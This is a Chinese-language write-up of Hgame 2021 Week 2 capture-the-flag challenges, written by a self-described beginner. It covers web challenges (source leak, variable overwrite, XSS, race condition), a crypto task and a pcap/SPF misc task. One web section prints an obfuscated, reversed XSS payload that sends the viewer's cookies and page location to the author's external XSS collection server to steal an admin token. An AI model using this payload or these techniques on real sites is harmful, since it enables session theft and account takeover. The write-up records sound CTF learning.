Hgame Week2 Writeup
摘要
菜鸡视角 hgame 游戏体验
WEB
第一题
![image-20210213233809239](https://img.mjclouds.com/blog/20210213233816.png)
首先,/www.zip 存在源码泄露。
![image-20210214002402253](https://img.mjclouds.com/blog/20210214002402.png)
1 |
|
通过阅读源码了解到,需要以 admin 账户登录才能获得 flag。 但是很显然我们只能利用 php比较漏洞 来登录 testuser 账户,但是这样显然无法得到 flag。
![image-20210214003013130](https://img.mjclouds.com/blog/20210214003013.png)
但是 admin 被加密的 MD5 尝试了很多办法也无法解码。这时候得利用 变量覆盖 将$_SESSION['username']
的值变为 admin
。
在lazy.php
存在一段过滤代码,会将请求中所有键名进行过滤,但是只过滤了一遍,这里造成了漏洞。
我们可以构造 payload :
1 |
|
POST 发送数据即可得到flag
![Snipaste_2021-02-10_23-11-28](https://img.mjclouds.com/blog/20210214003956.png)
第二题
这题很明显是考的 XSS,为此煞费苦心自己搭建了一个 XSS 平台,用的是莲花战队的源码
![image-20210214004200890](https://img.mjclouds.com/blog/20210214004201.png)
题目图下:
![image-20210214004232187](https://img.mjclouds.com/blog/20210214004232.png)
![image-20210214004302463](https://img.mjclouds.com/blog/20210214004302.png)
网页逻辑:第一个文本框中输入信息,点击 Post it 后会显示在下面的留言区;第二个输入框输入验证码,点击提交后,服务器会自动浏览你的留言。但是我们必须有管理员的 token 才能点击左上角的 flag 获得 flag。所以我们要做的:
写一段 xss代码 能够截取浏览者cookies 并发送到 xss平台
爆破一个字符串,使得这个字符串经过 MD5 加密后的前六位与验证码提示框中给出的验证码相同
等待服务器读取留言,xss 平台会收到来自 admin 的 token
使用管理员的 token 点击 flag 获取答案
这个网站的 XSS 过滤原则很有趣,script
变div
,遇到http
ptth
直接删除,遇到onerror
转换成rorreon
并将所有字符串反转,遇到rorreon
转换成onerror
并将所有字符串反转
经过精致打磨,写出了 xss 代码如下:
>vid<>";)()};))()}}''nruter{)e(hctac}'':ferh.noitacol.renepo.wodniw?)ferh.noitacol.renepo.wodniw&&renepo.wodniw(nruter{yrt{)(noitcnuf((epacse+'=renepo&'+))()}}''nruter{)e(hctac}eikooc.tnemucod nruter{yrt{)(noitcnuf((epacse+'=eikooc&'+))()}}''nruter{)e(hctac}ferh.noitacol.pot nruter{yrt{)(noitcnuf((epacse+'=noitacolpot&'+))()}}''nruter{)e(hctac}ferh.noitacol.tnemucod nruter{yrt{)(noitcnuf((epacse+'=noitacol&1=noissespeek?/'+etisbew=crs.))(egamI wen({)(noitcnuf(;'php.xedni/moc.sduolcjm.ssx//:s'+b+a=etisbew rav ;'ptt'=b rav ;'h'=a rav"=rorreon x=crs gmi<>vid/<
提交后不一会,我的 XSS 收到了我自己的 cookies。
![image-20210214005616882](https://img.mjclouds.com/blog/20210214005616.png)
![image-20210214005642043](https://img.mjclouds.com/blog/20210214005642.png)
说明 XSS成果,下一步是要破解那个验证码。无从下手,于是写了个 Python 爆破,就测试五位数字看看,跑不出那就删除 cookie 刷新页面,重发脚本,使用新的验证码,总有能成功的。
1 |
|
当时我成功了:
![image-20210214010845706](https://img.mjclouds.com/blog/20210214010845.png)
提交!随后 XSS 平台就收到了管理员的token :
![image-20210214011009047](https://img.mjclouds.com/blog/20210214011009.png)
修改 token 得到 flag !
第四题
![image-20210214011918728](https://img.mjclouds.com/blog/20210214011918.png)
先注册账号,这里不吐槽了,简单的用户名已经都被注册了….
![image-20210214012043621](https://img.mjclouds.com/blog/20210214012043.png)
很明显,差两张券,这里运用条件竞争,方便点用 Burp,低线程兑换券,一次兑换一张,高线程兑换非法数量的券,我使用数量 0 ,设置如下(左侧100线程,右侧50线程):
![1](https://img.mjclouds.com/blog/20210214012306.png)
![2](https://img.mjclouds.com/blog/20210214012352.png)
![3](https://img.mjclouds.com/blog/20210214012502.png)
Attack!
不一会就有结果了:
![FLAG](https://img.mjclouds.com/blog/20210214012551.png)
flag GET!
Crypto
第三题
很 esay 直接上脚本:
1 |
|
![image-20210214013020479](https://img.mjclouds.com/blog/20210214013020.png)
FLAG get!
MISC
第四题
![image-20210214013140398](https://img.mjclouds.com/blog/20210214013140.png)
pcapng 文件,使用 Wireshark 打开,迅速锁定一个奇怪网址:
![Snipaste_2021-02-14_01-33-27](https://img.mjclouds.com/blog/20210214013819.png)
去 cf.hgame2021.cf 看看,发现有连续不断的弹窗。
![Snipaste_2021-02-14_01-35-06](https://img.mjclouds.com/blog/20210214013908.png)
那我们禁用 js
![Snipaste_2021-02-14_01-35-29](https://img.mjclouds.com/blog/20210214013938.png)
获得线索,flag 果然不在这 ….
既然说到 SPF 那我们就查看一下 SPF记录吧。
![Snipaste_2021-02-14_01-37-01](https://img.mjclouds.com/blog/20210214014118.png)
然后 flag 就出来了?
总结
自己好菜